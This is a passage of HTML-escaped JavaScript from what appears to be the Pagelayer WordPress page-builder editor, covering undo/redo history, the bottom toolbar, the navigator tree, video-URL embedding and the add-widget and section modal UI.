			hEle = jQuery(&#039;[pagelayer-id=&quot;&#039;+id+&#039;&quot;]&#039;);
			reset_ele_attr(hEle, history_array.atts, history_array.newVal, history_array.attrType);
		}else if(action == &quot;Added&quot;){
			resetup_ele(history_array);
			
			if(history_array.tag != &quot;pl_row&quot; &amp;&amp; history_array.tag != &quot;pl_col&quot; ){
				// Ensure the column is not empty
				pagelayer_empty_col(history_array.cEle.cEle);
			}
		}else if(action == &quot;Deleted&quot;){
			delete_ele(id);
		}else if(action == &quot;Copied&quot;){
			resetup_ele(history_array);
		}else if(action == &quot;Moved&quot;){
			pagelayer_move_ele(id, history_array.after_loc);
		}
	};
	
	if(prev_item_id &gt; current_item_id){
			
		// All Actions for undo here
		var i = parseInt(prev_item_id);
		
		for(i; i &gt; current_item_id; i--){
			
			var history_array = pagelayer_history_obj[&#039;action_data&#039;][i];
			var sub_actions_group = history_array[&#039;sub_actions_group&#039;] || &#039;&#039;;
			
			// If it has sub-actions
			if(!pagelayer_empty(sub_actions_group)){
				var j = sub_actions_group.length;
				for(j--; j &gt;= 0; j--){
					pagelayer_undo_action(sub_actions_group[j]);
				}
			}
			
			// Main action
			pagelayer_undo_action(history_array);
			
			// Activate the current element and scroll it into viewport
			var jEle = jQuery(&#039;[pagelayer-id=&quot;&#039;+history_array.pl_id+&#039;&quot;]&#039;);
			if(jEle.length &gt; 0){
				pagelayer_set_active(jEle);
				pagelayer_scroll_to_viewport(jEle, 0);
			}
		}
		
	}else{
				
		// All Actions for redo here
		var i = parseInt(prev_item_id)+1;
		
		for(i; i &lt;= current_item_id; i++){
			
			var history_array = pagelayer_history_obj[&#039;action_data&#039;][i];
			var sub_actions_group = history_array[&#039;sub_actions_group&#039;] || &#039;&#039;;
			// Main action
			pagelayer_redo_action(history_array);
			
			// If it has sub-actions
			if(!pagelayer_empty(sub_actions_group)){
				for(var x in sub_actions_group){
					pagelayer_redo_action(sub_actions_group[x]);
				}
			}
			
			// Activate the current element and scroll it into viewport
			var jEle = jQuery(&#039;[pagelayer-id=&quot;&#039;+history_array.pl_id+&#039;&quot;]&#039;);
			if(jEle.length &gt; 0){
				pagelayer_set_active(jEle);
				pagelayer_scroll_to_viewport(jEle, 0);
			}
		}
	}
	
};

// Report an error
function pagelayer_error(error, func){
	var prefix = func || &#039;&#039;;
	alert(prefix+error);
};

function pagelayer_bottombar(){
	var holder = pagelayer.$$(&#039;.pagelayer-bottombar-holder&#039;);
	var html = &#039;&lt;div class=&quot;pagelayer-bottombar&quot;&gt;&#039;+
		&#039;&lt;div class=&quot;pagelayer-bottombar-rightbuttons&quot;&gt;&#039;+
			&#039;&lt;button data-tlite=&quot;Save Changes&quot; class=&quot;pagelayer-update-button pagelayer-success-btn&quot;&gt;&#039;+
				&#039;&lt;span class=&quot;pagelayer-update-loader&quot;&gt;&#039;+
					&#039;&lt;span&gt;&lt;/span&gt;&#039;+
					&#039;&lt;span&gt;&lt;/span&gt;&#039;+
					&#039;&lt;span&gt;&lt;/span&gt;&#039;+
				&#039;&lt;/span&gt;&#039;+
				&#039;&lt;span class=&quot;pagelayer-update-text&quot;&gt;Update&lt;/span&gt;&#039;+
			&#039;&lt;/button&gt;&#039;+
			&#039;&lt;button data-tlite=&quot;Close and Return to Admin Panel&quot; class=&quot;pagelayer-close-button&quot;&gt;Close&lt;/button&gt;&#039;+
			&#039;&lt;div class=&quot;pagelayer-mode-wrapper&quot;&gt;&#039;+
				&#039;&lt;div class=&quot;pagelayer-mode-buttons-wrapper&quot;&gt;&#039;+
					&#039;&lt;i class=&quot;screen-mode pli pli-desktop&quot; pagelayer-mode-data=&quot;desktop&quot;&gt;&lt;/i&gt;&#039;+
					&#039;&lt;i class=&quot;screen-mode pli pli-tablet&quot; pagelayer-mode-data=&quot;tablet&quot;&gt;&lt;/i&gt;&#039;+
					&#039;&lt;i class=&quot;screen-mode pli pli-mobile&quot; pagelayer-mode-data=&quot;mobile&quot;&gt;&lt;/i&gt;&#039;+
				&#039;&lt;/div&gt;&#039;+
			&#039;&lt;/div&gt;&#039;+
			&#039;&lt;i class=&quot;pagelayer-mode-button pli pli-desktop&quot;&gt;&lt;/i&gt;&#039;+
			&#039;&lt;span data-tlite=&quot;&#039;+pagelayer_l(&#039;preview_changes&#039;)+&#039;&quot;&gt;&lt;i class=&quot;pagelayer-preview pli pli-eye&quot;&gt;&lt;/i&gt;&lt;/span&gt;&#039;+
			&#039;&lt;span data-tlite=&quot;&#039;+pagelayer_l(&#039;historyand_revisions&#039;)+&#039;&quot;&gt;&lt;i class=&quot;pagelayer-history-icon pli pli-history&quot;&gt;&lt;/i&gt;&lt;/span&gt;&#039;+
			&#039;&lt;span data-tlite=&quot;&#039;+pagelayer_l(&#039;navigator&#039;)+&#039;&quot;&gt;&lt;i class=&quot;pagelayer-navigator-icon pli pli-tree&quot;&gt;&lt;/i&gt;&lt;/span&gt;&#039;+
			//&#039;&lt;span data-tlite=&quot;Close and Return to Admin Panel&quot;&gt;&lt;i class=&quot;pagelayer-close-button fa fa-close&quot;&gt;&lt;/i&gt;&lt;/span&gt;&#039;+
		&#039;&lt;/div&gt;&#039;+
	&#039;&lt;/div&gt;&#039;;
	
	holder.html(html);
	holder.find(&#039;.pagelayer-update-button&#039;).on(&#039;click&#039;, function(){
		pagelayer_save();
		pagelayer_history_setup();// Setup history tab after update
	});
	
	holder.find(&#039;.pagelayer-close-button&#039;).on(&#039;click&#039;, function(){
		pagelayer_close();
	});
	holder.find(&#039;.screen-mode&#039;).on(&#039;click&#039;, function(){
		var screen_mode = jQuery(this).attr(&#039;pagelayer-mode-data&#039;);
		pagelayer_set_screen_mode(screen_mode);
		holder.find(&#039;.pagelayer-mode-buttons-wrapper&#039;).toggle();
	});
	
	holder.find(&#039;.pagelayer-mode-button&#039;).on(&#039;click&#039;, function(){
		holder.find(&#039;.pagelayer-mode-buttons-wrapper&#039;).toggle();
	});
	
	holder.find(&#039;.pagelayer-history-icon&#039;).click(function(){
		pagelayer.$$(&#039;.pagelayer-elpd-header&#039;).show().find(&#039;.pagelayer-elpd-title&#039;).text(pagelayer_l(&#039;pagelayer_history&#039;));
		pagelayer.$$(&#039;.pagelayer-logo&#039;).hide();
		pagelayer_leftbar_tab(&#039;pagelayer-history&#039;);
		pagelayer_active = {};
		pagelayer_history_setup();	
	});
	
	holder.find(&#039;.pagelayer-navigator-icon&#039;).click(function(){
		pagelayer.$$(&#039;.pagelayer-elpd-header&#039;).show().find(&#039;.pagelayer-elpd-title&#039;).text(pagelayer_l(&#039;pagelayer_navigator&#039;));
		pagelayer.$$(&#039;.pagelayer-logo&#039;).hide();
		
		// If the navigator tab visible, then don&#039;t setup 
		if(!pagelayer.$$(&#039;#pagelayer-navigator&#039;).is(&#039;:visible&#039;)){
			pagelayer_navigator_setup();
		}
		
		pagelayer_leftbar_tab(&#039;pagelayer-navigator&#039;);
		pagelayer_active = {};
	});
	
	holder.find(&#039;.pagelayer-preview&#039;).click(function(){
		
		// If the page is not dirty
		if(!pagelayer_isDirty){
			
			// Open in new tab the existing page itself
			window.open(pagelayer_post_permalink, &#039;_blank&#039;);
			return;
			
		}
		
		// Get post content
		var post = pagelayer_generate_sc(pagelayer_editable);//alert(post);return;
		
		pagelayer.$$(&#039;.pagelayer-body&#039;).css({&#039;opacity&#039; : &#039;0.33&#039;});
		jQuery.ajax({
			url: pagelayer_ajax_url+&#039;&amp;action=pagelayer_create_post_autosave&amp;postID=&#039;+pagelayer_postID,
			type: &#039;POST&#039;,
			data: {
				&#039;pagelayer_nonce&#039;: pagelayer_ajax_nonce,
				&#039;pagelayer_post_content&#039;: pagelayer_Base64.encode(post)
			},
			success: function(data) {
				var data = JSON.parse(data);
				
				// If there is some error
				if(!pagelayer_empty(data[&#039;error&#039;]) || pagelayer_empty(data[&#039;id&#039;])){
					pagelayer_show_msg(&#039;Unable to set preview for some reason&#039;, &#039;error&#039;);
					return;
				}
				
				var url = data[&#039;url&#039;]+&#039;&amp;preview_id=&#039;+pagelayer_postID+&#039;&amp;preview_nonce=&#039;+
				pagelayer_preview_nonce;
				
				// Open in new tab
				window.open(url, &#039;_blank&#039;);
			},
			complete: function(){
				pagelayer.$$(&#039;.pagelayer-body&#039;).css({&#039;opacity&#039; : &#039;1&#039;});
			}
		});
	});
};


///////////////////////////////
// Miscellaneuos Functions
///////////////////////////////

// Setup General options
function pagelayer_setup_general_options(){
	
	var holder = pagelayer.$$(&#039;.pagelayer-general-options&#039;);
  
	if(holder.children().length &gt; 0){
		return;
	}
  
	// TODO: To create this HTML get Array form php
	var html = &#039;&lt;div class=&quot;pagelayer-options-sections&quot;&gt;&#039;+
		&#039;&lt;h5&gt;&#039;+ pagelayer_l(&#039;general_options&#039;) +&#039;&lt;/h5&gt;&#039;+
		&#039;&lt;div class=&quot;pagelayer-option-holder pagelayer-open-customizer&quot;&gt;&#039;+
			&#039;&lt;i class=&quot;fas fa-paint-brush&quot;&gt;&lt;/i&gt;&#039;+
			&#039;&lt;span&gt;&#039;+ pagelayer_l(&#039;customize&#039;) +&#039;&lt;/span&gt;&#039;+
		&#039;&lt;/div&gt;&#039;+
	&#039;&lt;/div&gt;&#039;+
	&#039;&lt;div class=&quot;pagelayer-options-sections&quot;&gt;&#039;+
		&#039;&lt;h5&gt;&#039;+ pagelayer_l(&#039;navigator_options&#039;) +&#039;&lt;/h5&gt;&#039;+
		&#039;&lt;div class=&quot;pagelayer-option-holder pagelayer-options-history-icon&quot;&gt;&#039;+
			&#039;&lt;i class=&quot;pli pli-history&quot;&gt;&lt;/i&gt;&#039;+
			&#039;&lt;span&gt;&#039;+ pagelayer_l(&#039;historyand_revisions&#039;) +&#039;&lt;/span&gt;&#039;+
		&#039;&lt;/div&gt;&#039;+
		&#039;&lt;div class=&quot;pagelayer-option-holder pagelayer-options-navigator-icon&quot;&gt;&#039;+
			&#039;&lt;i class=&quot;pli pli-tree&quot;&gt;&lt;/i&gt;&#039;+
			&#039;&lt;span&gt;&#039;+ pagelayer_l(&#039;navigator&#039;) +&#039;&lt;/span&gt;&#039;+
		&#039;&lt;/div&gt;&#039;+
		&#039;&lt;div class=&quot;pagelayer-option-holder pagelayer-options-preview&quot;&gt;&#039;+
			&#039;&lt;i class=&quot;pli pli-eye&quot;&gt;&lt;/i&gt;&#039;+
			&#039;&lt;span&gt;&#039;+ pagelayer_l(&#039;preview_changes&#039;) +&#039;&lt;/span&gt;&#039;+
		&#039;&lt;/div&gt;&#039;+
	&#039;&lt;/div&gt;&#039;+
	&#039;&lt;div class=&quot;pagelayer-options-sections&quot;&gt;&#039;+
		&#039;&lt;h5&gt;&#039;+ pagelayer_l(&#039;tools&#039;) +&#039;&lt;/h5&gt;&#039;+
		&#039;&lt;div class=&quot;pagelayer-option-holder pagelayer-open-help&quot;&gt;&#039;+
			&#039;&lt;i class=&quot;fas fa-question&quot;&gt;&lt;/i&gt;&#039;+
			&#039;&lt;span&gt;&#039;+ pagelayer_l(&#039;help&#039;) +&#039;&lt;/span&gt;&#039;+
		&#039;&lt;/div&gt;&#039;+
		&#039;&lt;div class=&quot;pagelayer-option-holder pagelayer-open-keyboard-shortcuts&quot;&gt;&#039;+
			&#039;&lt;i class=&quot;far fa-keyboard&quot;&gt;&lt;/i&gt;&#039;+
			&#039;&lt;span&gt;&#039;+ pagelayer_l(&#039;keyboard_shortcuts&#039;) +&#039;&lt;/span&gt;&#039;+
		&#039;&lt;/div&gt;&#039;+
	&#039;&lt;/div&gt;&#039;;
	
	holder.html(html);
	
	// Open customizer settings
	holder.find(&#039;.pagelayer-open-customizer&#039;).click(function(){
		window.open(pagelayer_customizer_url+&#039;&amp;autofocus%5Bpanel%5D=pagelayer_settings&#039;, &#039;_blank&#039;);
	});
	
	// Open help / support link
	holder.find(&#039;.pagelayer-open-help&#039;).click(function(){
		 window.open(pagelayer_support_url, &#039;_blank&#039;);
	});
	
	// Show Pagelayer History
	holder.find(&#039;.pagelayer-options-history-icon&#039;).click(function(){
		pagelayer.$$(&#039;.pagelayer-bottombar-holder .pagelayer-history-icon&#039;).click();
	});
	
	// Show Pagelayer Navigator
	holder.find(&#039;.pagelayer-options-navigator-icon&#039;).click(function(){
		pagelayer.$$(&#039;.pagelayer-bottombar-holder .pagelayer-navigator-icon&#039;).click();
	});
	
	// Show Pagelayer Preview
	holder.find(&#039;.pagelayer-options-preview&#039;).click(function(){
		pagelayer.$$(&#039;.pagelayer-bottombar-holder .pagelayer-preview&#039;).click();
	});
	
	// Show keyboard shortcut modal
	holder.find(&#039;.pagelayer-open-keyboard-shortcuts&#039;).click(function() {
		
		var modal = pagelayer.$$(&#039;.pagelayer-shortcuts-modal&#039;);
		modal.css(&#039;display&#039;,&#039;flex&#039;);
		
		modal.find(&#039;.pagelayer-editor-modal-close-icon&#039;).unbind(&#039;click&#039;);
		modal.find(&#039;.pagelayer-editor-modal-close-icon&#039;).click(function(){
			modal.hide();
		});

		modal.unbind(&#039;click&#039;);
		modal.on(&#039;click&#039;, function(e){
			
			if(e.target != this) {
				return;
			}

			modal.hide();
		});
	});
}

// Setup navigator
function pagelayer_navigator_setup(){
	
	var navigator_ele = pagelayer.$$(&#039;#pagelayer-navigator&#039;),
	navigator_padding = 10,
	navigator_html = &#039;&#039;;
		
	// Get the child elements list
	var pagelayer_create_navi_list = function(selector){
		
		var navigator_list = &#039;&#039;;
		
		selector.children(&#039;.pagelayer-ele-wrap, .pagelayer-ele&#039;).each(function(){
			
			var cEle = jQuery(this),
			tag = pagelayer_tag(cEle),
			id = pagelayer_id(cEle),
			child_ele = false,
			ele_class = &#039;&#039;;
			
			// If tag is not found then return
			if(pagelayer_empty(tag)){
				return;
			}
			
			// if is row or  col or inner-row
			if(tag == &#039;pl_row&#039; || tag == &#039;pl_col&#039; || tag == &#039;pl_inner_row&#039;){
				ele_class = &#039;pagelayer-navigator-toggle&#039;;
				child_ele = true;
			}
			
			navigator_list += &#039;&lt;div class=&quot;pagelayer-navigetor-ele&quot; pagelayer-id=&quot;&#039;+id+&#039;&quot;&gt;&#039;+
				&#039;&lt;div class=&quot;pagelayer-ele-name &#039;+ ele_class +&#039;&quot; pagelayer-tag=&quot;&#039;+tag+&#039;&quot; style=&quot;padding-left:&#039;+navigator_padding+&#039;px&quot;&gt;&#039;+
					&#039;&lt;i class=&quot;fa pagalayer-arrow&quot;&gt;&lt;/i&gt;&lt;i class=&quot;fa pagelayer-&#039;+tag+&#039;&quot;&gt;&lt;/i&gt;&#039;+
					pagelayer_shortcodes[tag][&#039;name&#039;]+
					&#039;&lt;span class=&quot;pagelayer-navigator-options&quot;&gt;&lt;i class=&quot;pli pli-pencil&quot; data-action=&quot;edit&quot;&gt;&lt;/i&gt;&lt;i class=&quot;pli pli-trashcan&quot; data-action=&quot;delete&quot;&gt;&lt;/i&gt;&lt;/span&gt;&#039;+
				&#039;&lt;/div&gt;&#039;;
			
			// Create the list of child element 
			if(child_ele){
				navigator_padding += 15; // Increment padding left for widget
				navigator_list += pagelayer_create_navi_list( cEle.find(pagelayer_shortcodes[tag][&#039;holder&#039;]).first() );
				navigator_padding -= 15; // Decrement padding left for widget
			}
			
			navigator_list += &#039;&lt;/div&gt;&#039;;
		});
		
		return navigator_list;
	}
	
	// Create list of all rows and their child widgets 
	jQuery(pagelayer_editable).children(&#039;.pagelayer-wrap-row&#039;).each(function(){
		navigator_html += pagelayer_create_navi_list(jQuery(this));
	});
		
	// Put the navigator list
	navigator_ele.html(&#039;&lt;div class=&quot;pagelayer-leftbar-prop-body&quot;&gt;&#039;+navigator_html+&#039;&lt;/div&gt;&#039;);
	
	// edit and delete element click handler
	navigator_ele.find(&#039;.pagelayer-navigator-options .pli&#039;).on(&#039;click&#039;, function(event){
		
		var sEle = jQuery(this).closest(&#039;.pagelayer-navigetor-ele&#039;);
		var sId = sEle.attr(&#039;pagelayer-id&#039;);
		var action = jQuery(this).data(&#039;action&#039;);
		if( action == &#039;edit&#039;){
			pagelayer_edit_element(&#039;[pagelayer-id = &#039;+sId+&#039;]&#039;, event);
		}else if(action == &#039;delete&#039;){
			sEle.find(&#039;.pagelayer-ele-name&#039;).css({&#039;background&#039;:&#039;rgb(255, 114, 114)&#039;,&#039;opacity&#039;:&#039;0.5&#039;});
			pagelayer_delete_element(&#039;[pagelayer-id = &#039;+sId+&#039;]&#039;);
		}
		
	});
	
	// On click toggle the element
	navigator_ele.find(&#039;.pagelayer-ele-name&#039;).on(&#039;click&#039;, function(){
		
		var tEle = jQuery(this);
		var pl_id = tEle.parent().attr(&#039;pagelayer-id&#039;); // Get Pagelayer id
		var jEle = pagelayer_ele_by_id(pl_id);
		
		// If the class &quot;pagelayer-navigator-toggle&quot; exist then toggle
		if(tEle.hasClass(&#039;pagelayer-navigator-toggle&#039;)){
			tEle.parent().toggleClass(&#039;pagelayer-navigator-open&#039;);
		}
		
		// Also open all parents 
		tEle.parent().parents(&#039;.pagelayer-navigetor-ele&#039;).addClass(&#039;pagelayer-navigator-open&#039;);
			
		// Set the click element active
		navigator_ele.find(&#039;.pagelayer-ele-name&#039;).removeClass(&#039;pagelayer-navi-active&#039;);
		tEle.addClass(&#039;pagelayer-navi-active&#039;)
		
		// Set the element active
		if(jEle.length &gt; 0){
			//pagelayer_active.el = pagelayer_data(jEle);
			pagelayer_set_active(jEle);
			pagelayer_scroll_to_viewport(jEle);
		}
		
	});
	
	// Do active ele tab open
	if( pagelayer_active.el &amp;&amp; pagelayer_active.el.id ){
		navigator_ele.find(&#039;[pagelayer-id=&quot;&#039;+pagelayer_active.el.id+&#039;&quot;]&#039;).children(&#039;.pagelayer-ele-name&#039;).click();
	}
	
	/* var posY = 0, orig_eleY= 0;
	
	// On mouse down in pagelayer-ele-name
	navigator_ele.find(&#039;.pagelayer-ele-name&#039;).on(&#039;mousedown&#039;, function(e){
		e = e || window.event;
		e.preventDefault();
		
		// Get ele position
		orig_eleY = jQuery(this).offset().top;
		
		// Get the mouse cursor  at startup:
		posY = e.clientY;
		
		// The variable needs to be empty.
		newMethod = &#039;&#039;;
		
		// Mouse up handler
		var ele_mousemove = function(){
			
		}
		
		// Mouse move handler
		var ele_mouseup = function(){
			pagelayer.$$(document).off(&#039;mouseup&#039;, ele_mouseup);
			pagelayer.$$(document).off(&#039;mousemove&#039;, ele_mousemove);
		}
		
		pagelayer.$$(document).on(&#039;mouseup&#039;, ele_mouseup);
		pagelayer.$$(document).on(&#039;mousemove&#039;, ele_mousemove);

	}); */
	
	
}

// Scroll page to element view port
function pagelayer_scroll_to_viewport(jEle, timeout, parentEle){
	
	var scrolled = parentEle || jQuery(&#039;html, body&#039;);
	timeout = timeout || 500;
	parentEle = parentEle || jQuery(window);
	
	setTimeout(function(){
		var parentHeight = parentEle.height(),
		parentScrollTop = parentEle.scrollTop(),
		elementTop = jEle.offset().top,
		topToCheck = elementTop - parentScrollTop;
		  
		if (topToCheck &gt; 0 &amp;&amp; topToCheck &lt; parentHeight) {
			return;
		}

		var scrolling = elementTop - parentHeight / 2;
		scrolled.stop(true).animate({
			scrollTop: scrolling
		}, 1000);
	}, timeout);
}

// Generates a random string of &quot;n&quot; characters
function pagelayer_randstr(n, special){
	var text = &#039;&#039;;
	var possible = &#039;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789&#039;;
	
	special = special || 0;
	if(special){
		possible = possible + &#039;&amp;#$%@&#039;;
	}
	
	for(var i=0; i &lt; n; i++){
		text += possible.charAt(Math.floor(Math.random() * possible.length));
	}

	return text;
};

function pagelayer_randInt(max) {
	return Math.floor(Math.random() * Math.floor(max));
}

// Convert the regular URL of a Video to a Embed URL
function pagelayer_video_url(src, no_url){
  
	no_url = no_url || false;
	var youtubeRegExp = /youtube\.com|youtu\.be/;
	var vimeoRegExp = /vimeo\.com/;
	var match = &#039;&#039;;
	var videoId = &#039;&#039;;
	var vid_params = {};
		
	if (youtubeRegExp.exec(src)) {
		match = &#039;youtube&#039;;
	} else if (vimeoRegExp.exec(src)) {
		match = &#039;vimeo&#039;;
	}
	
	switch(match){
		case &#039;youtube&#039;:
				
			var youtubeRegExp1 = /youtube\.com/;
			var youtubewatch = /watch/;
			var youtubeembed = /embed/;
			var youtube = /youtu\.be/;

			if (youtubeRegExp1.exec(src)) {
				
				if (youtubewatch.exec(src)) {
					 videoId = src.split(&#039;?v=&#039;);
										
				} else if (youtubewatch.exec(src)) {
					videoId = src.split(&#039;embed/&#039;);
				}
				
			} else if (youtube.exec(src)) {
				videoId = src.split(&#039;.be/&#039;);
			}
			
			vid_params = {
				type : &#039;youtube&#039;,
				src : &#039;//www.youtube.com/embed/&#039;+videoId[1],
				id : videoId[1]
			};

			pagelayer_yt_api_register();
			
			break;
			
		case &#039;vimeo&#039;:
		
			var vimeoplayer = /player\.vimeo\.com/;
			var vimeovideo = /video/;
			
			if (vimeoplayer.exec(src) &amp;&amp; vimeovideo.exec(src)) {
				videoId = src.split(&#039;video/&#039;);
			} else if (vimeoRegExp.exec(src)) {
				videoId = src.split(&#039;.com/&#039;);
			}
			
			vid_params = {
				type : &#039;vimeo&#039;,
				src : &#039;//player.vimeo.com/video/&#039;+videoId[1],
				id : videoId[1]
			};
			
			break;
		default:
			vid_params = {
				type : &#039;local&#039;,
				src : src
			};
			
	}
  
	if(!no_url){
		return vid_params.src;
	}
  
	return vid_params;
};

// Youtube API Register
function pagelayer_yt_api_register(){

	if(jQuery(&#039;#pagelayer-youtube-script-js&#039;).length &gt; 0){
		return;
	}

	jQuery(&#039;body&#039;).append(&#039;&lt;script src=&quot;https://www.youtube.com/iframe_api&quot; id=&quot;pagelayer-youtube-script-js&quot;&gt;&lt;/script&gt;&#039;);

}

// Add widget section
function pagelayer_add_widget(){
	
	html=&#039;&lt;div class=&quot;pagelayer-add-widget-area&quot;&gt;&#039;+
		&#039;&lt;button class=&quot;pagelayer-add-button pagelayer-add-section&quot;&gt;&lt;i class=&quot;pagelayer-add-row fas fa-file-alt&quot;&gt;&lt;/i&gt; &amp;nbsp;Add New Section&lt;/button&gt;&#039;+
		&#039;&lt;button class=&quot;pagelayer-add-button pagelayer-add-row&quot;&gt;&lt;i class=&quot;pagelayer-add-row fas fa-plus-circle&quot;&gt;&lt;/i&gt; &amp;nbsp;Add New Row&lt;/button&gt;&#039;+
		&#039;&lt;p&gt;Click here to add new row OR drag widgets&lt;/p&gt;&#039;+
	&#039;&lt;/div&gt;&#039;;
	
	jQuery(pagelayer_editable).append(html);
	
	var add_area = jQuery(&#039;.pagelayer-add-widget-area&#039;);
	
	// Add a code before this
	var add_sc = function(tag, global_id = &#039;&#039;){
		
		var attr = &#039;&#039;;
		if(!pagelayer_empty(global_id)){
			attr = &#039; pagelayer-global-id=&quot;&#039;+global_id+&#039;&quot; &#039;;
		}
		
		// Create Row		
		var row = jQuery(&#039;&lt;div pagelayer-tag=&quot;pl_row&quot; &#039;+((tag == &#039;pl_row&#039;) ? attr : &#039;&#039;) +&#039;&gt;&lt;/div&gt;&#039;);
		add_area.before(row);
		var row_id = pagelayer_onadd(row, false);
		var rEle = pagelayer_ele_by_id(row_id);
		
		if(tag == &#039;pl_row&#039; &amp;&amp; !pagelayer_empty(global_id)){
			rEle.click();
			return row_id;
		}
		
		// Create Column
		var col = jQuery(&#039;&lt;div pagelayer-tag=&quot;pl_col&quot; &#039;+((tag == &#039;pl_col&#039;) ? attr : &#039;&#039;) +&#039;&gt;&lt;/div&gt;&#039;);
		rEle.find(&#039;.pagelayer-row-holder&#039;).append(col);
		var col_id = pagelayer_onadd(col, false);
		var cEle = pagelayer_ele_by_id(col_id);
		
		
		if(tag == &#039;pl_row&#039;){
			rEle.click();
			return row_id;
		}
		
		if(tag == &#039;pl_col&#039;){
			cEle.click();
			return col_id;
		}
		
		// Create element
		var ele = jQuery(&#039;&lt;div pagelayer-tag=&quot;&#039;+tag+&#039;&quot; &#039;+attr+&#039;&gt;&lt;/div&gt;&#039;);
		cEle.find(&#039;.pagelayer-col-holder&#039;).append(ele);
		//console.log(ele);
		var id = pagelayer_onadd(ele);
		//console.log(id);
		//console.log(col_id);
		var eEle = pagelayer_ele_by_id(col_id);
		//console.log(eEle);
		// Ensure the column is not empty
		pagelayer_empty_col(cEle.find(&#039;.pagelayer-col-holder&#039;));
		
		if(tag == &#039;pl_inner_row&#039; &amp;&amp; pagelayer_empty(global_id)){
			// Create Column
			var in_col = jQuery(&#039;&lt;div pagelayer-tag=&quot;pl_col&quot;&gt;&lt;/div&gt;&#039;);
			eEle.find(&#039;.pagelayer-row-holder&#039;).append(in_col);
			var in_col_id = pagelayer_onadd(in_col, false);
		}
		
		return id;
		
	}
	
	// Handle Click
	add_area.on(&#039;click&#039;, function(e){
		e.stopPropagation();
		add_sc(&#039;pl_col&#039;);
	});
	
	// Handle Click
	add_area.find(&#039;.pagelayer-add-section&#039;).on(&#039;click&#039;, function(e){
		e.stopPropagation();
		pagelayer_add_section_area();// Setup and show sections modal
	});
	
	// Handle Drag over
	add_area.on(&#039;dragover&#039;, function(e){
		//console.log(e)
		add_area.addClass(&#039;pagelayer-add-widget-drag&#039;);
	});
	
	// Handle Drag Leave
	add_area.on(&#039;dragleave&#039;, function(e){
		//console.log(e)
		add_area.removeClass(&#039;pagelayer-add-widget-drag&#039;);
	});
	
	// Handle On Drop
	add_area.on(&#039;drop&#039;, function(e){
		
		//console.log(e);
		//console.log(e.originalEvent.dataTransfer.getData(&#039;tag&#039;));
		add_area.removeClass(&#039;pagelayer-add-widget-drag&#039;);
		jQuery(&#039;.pagelayer-is-dragging&#039;).removeClass(&#039;pagelayer-is-dragging&#039;);
		
		var tag = e.originalEvent.dataTransfer.getData(&#039;tag&#039;);
		var global_id = e.originalEvent.dataTransfer.getData(&#039;global_id&#039;);
		
		// Is it an existing element ?
		if(tag.length &lt; 1){
			return false;
		}
		
		e.preventDefault();
		
		//console.log(tag);
		
		add_sc(tag, global_id);
	});
};

// Is the element in view while scrolling
function pagelayer_isElementInView(elem, holder, partial) {
	partial = partial || true;
	var container = jQuery(holder);
	var contHeight = container.height();
	var contTop = container.scrollTop();
	var contBottom = contTop + contHeight ;

	var elemTop = jQuery(elem).offset().top - container.offset().top;
	var elemBottom = elemTop + jQuery(elem).height();

	var isTotal = (elemTop &gt;= 0 &amp;&amp; elemBottom &lt;=contHeight);
	var isPart = ((elemTop &lt; 0 &amp;&amp; elemBottom &gt; 0 ) || (elemTop &gt; 0 &amp;&amp; elemTop &lt;= container.height())) &amp;&amp; partial;

	return isTotal || isPart ;
}

// Append section modal into body
function pagelayer_add_section_area(){
	
	var body = pagelayer.$$(&#039;body&#039;);
	var mEle = body.find(&#039;.pagelayer-add-section-modal-container&#039;);
	
	if(mEle.length &gt; 0){
		mEle.show();
		return;
	}
	
	var section_modal = &#039;&lt;div class=&quot;pagelayer-add-section-modal-container&quot;&gt;&#039;+
		&#039;&lt;div class=&quot;pagelayer-add-section-modal-holder&quot;&gt;&#039;+
			&#039;&lt;div class=&quot;pagelayer-add-section-modal&quot;&gt;&#039;+
				&#039;&lt;div class=&quot;pagelayer-add-section-modal-header&quot;&gt;&#039;+
					&#039;&lt;div&gt;Add Sections&lt;/div&gt;&#039;+
					&#039;&lt;div class=&quot;pagelayer-section-type-div&quot;&gt;Type : &#039;+
						&#039;&lt;select name=&quot;type&quot; id=&quot;pagelayer-section-type&quot;&gt;&#039;+
							&#039;&lt;option value=&quot;section&quot;&gt;Sections&lt;/option&gt;&#039;+
							&#039;&lt;option value=&quot;header&quot;&gt;Headers&lt;/option&gt;&#039;+
							&#039;&lt;option value=&quot;footer&quot;&gt;Footers&lt;/option&gt;&#039;+
							&#039;&lt;option value=&quot;page&quot;&gt;Pages&lt;/option&gt;&#039;+
						&#039;&lt;/select&gt;&#039;+
					&#039;&lt;/div&gt;&#039;+
					&#039;&lt;div class=&quot;pagelayer-add-section-modal-close&quot;&gt;&amp;times;&lt;/div&gt;&#039;+
				&#039;&lt;/div&gt;&#039;+
				&#039;&lt;div class=&quot;pagelayer-add-section-modal-row&quot;&gt;&#039;+
					&#039;&lt;div class=&quot;pagelayer-add-section-modal-left&quot;&gt;&#039;+
						&#039;&lt;div class=&quot;pagelayer-section-search-div&quot;&gt;&#039;+
							&#039;&lt;i class=&quot;pli pli-search&quot; &gt;&lt;/i&gt;&lt;input class=&quot;pagelayer-section-search&quot; /&gt;&lt;span class=&quot;pagelayer-sf-empty pli&quot;&gt;&amp;times;&lt;/span&gt;&#039;+
						&#039;&lt;/div&gt;&#039;+
						&#039;&lt;div class=&quot;pagelayer-section-tags-holder&quot;&gt;&lt;/div&gt;&#039;+
					&#039;&lt;/div&gt;&#039;+
					&#039;&lt;div class=&quot;pagelayer-section-modal-body-holder&quot;&gt;&#039;+
						&#039;&lt;div class=&quot;pagelayer-add-section-modal-body&quot;&gt;&lt;/div&gt;&#039;+
					&#039;&lt;/div&gt;&#039;+
				&#039;&lt;/div&gt;&#039;+
				&#039;&lt;div class=&quot;pagelayer-add-section-modal-overlay&quot; style=&quot;display:none;&quot;&gt;&#039;+
					&#039;&lt;div class=&quot;pagelayer-section-wait&quot;&gt;&#039;+
						&#039;&lt;div class=&quot;pagelayer-loader&quot;&gt;&#039;+
							&#039;&lt;div class=&quot;pagelayer-percent-parent&quot;&gt;&lt;/div&gt;&#039;+
						&#039;&lt;/div&gt;&lt;br/&gt;&#039;+
						&#039;&lt;span&gt;Please wait a moment&lt;/span&gt;&#039;+
					&#039;&lt;/div&gt;&#039;+
				&#039;&lt;/div&gt;&#039;+
			&#039;&lt;/div&gt;&#039;+
		&#039;&lt;/div&gt;&#039;+
	&#039;&lt;/div&gt;&#039;;
	
	mEle = jQuery(section_modal);
	
	// Append the element in the body
	body.append(mEle);
	
